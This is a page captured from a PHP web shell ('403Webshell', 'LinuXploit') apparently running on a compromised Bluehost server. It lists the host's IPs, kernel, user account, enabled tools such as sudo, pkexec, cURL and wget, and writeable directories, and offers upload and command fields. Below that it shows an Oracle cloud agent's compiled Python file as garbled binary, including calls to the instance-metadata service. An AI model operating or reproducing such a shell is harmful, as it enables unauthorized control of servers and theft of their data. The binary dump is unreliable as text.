403Webshell
Server IP : 162.241.219.206  /  Your IP : 216.73.216.195
Web Server : Apache
System : Linux box5669.bluehost.com 5.14.0-687.15.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jun 11 08:51:45 EDT 2026 x86_64
User : signavd5 ( 2863)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/oracle-cloud-agent/plugins/osms/oci_agent_utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/oracle-cloud-agent/plugins/osms/oci_agent_utils/instance_metadata.pyc
a

���fC�@sPddlmZmZddlZdej_ejjejjejj	hZ
ddiZGdd�d�ZdS)�)�	Semaphore�TimerN��no�proxyc@sXeZdZdZddd�Zddd�Zdd	�Zd
d�Zedd
��Z	edd��Z
edd��ZdS)�InstanceMetadataN��<cCs"||_t|�|_||_|��dS)N)�_refresh_durationr�_rate_limit_semaphore�_logger�_rate_limited_retrieve)�self�logger�limit�every�r�Q/sparta/input/python_modules/oci_agent_utils/oci_agent_utils/instance_metadata.py�__init__s
zInstanceMetadata.__init__cCsT|��|jdur<|j�||�}|j�d|�d|���|S|j�d|�d��dS�NzKey: z	, value: zKey z not found in instance metadata)r
�_instance_metadata�getr�debug)r�key�default�valuerrrr%s
zInstanceMetadata.getcCsP|��|jdur8|j|}|j�d|�d|���|S|j�d|�d��dSr)r
rrr)rrrrrr�__getitem__.s

zInstanceMetadata.__getitem__c	Csp|jjdd�sdSz4t�|j�|_Wt|j|jj�}|�	d�|�
�n$t|j|jj�}|�	d�|�
�0dS)z6Retrieve instance metadata bounded by refresh durationF)�blockingNT)r�acquirer�	_retrieverrrr
�release�	setDaemon�start)r�timerrrrr
7s

�
z'InstanceMetadata._rate_limited_retrievecCsdS)Nz'http://169.254.169.254/opc/v2/instance/rrrrr�endpointCszInstanceMetadata.endpointcCsdS)Nz'http://169.254.169.254/opc/v1/instance/rrrrr�v1_endpointGszInstanceMetadata.v1_endpointc
Cs�d}z�d}d|d�}tjt��t|dd���}|jtjjkrD|��}nZ|jt	vr�tjt�
�dditdd��&}|jtjjkr�|��}Wd�n1s�0YWd�n1s�0YW|�d|���|S|�d|���|YS0dS)	Nz
Bearer Oraclezapplication/json)�accept�
Authorization�
)�url�proxies�headers�timeoutr&)r)r+r*r,zRetrieved instance metadata: )�requestsrrr$�NO_PROXY�status_code�codes�ok�json�fallback_status_codesr%r)r�result�bearer_token�
v2_headers�v2_response�v1_responserrrrKs6�
�


�F�zInstanceMetadata._retrieve)Nrr	)N)�__name__�
__module__�__qualname__rrrrr
�staticmethodr$r%rrrrrrs

		

r)
�	threadingrrr-�adapters�DEFAULT_RETRIESr0�unauthorized�	forbidden�	not_foundr3r.rrrrr�<module>s�	�

Youez - 2016 - github.com/yon3zu
LinuXploit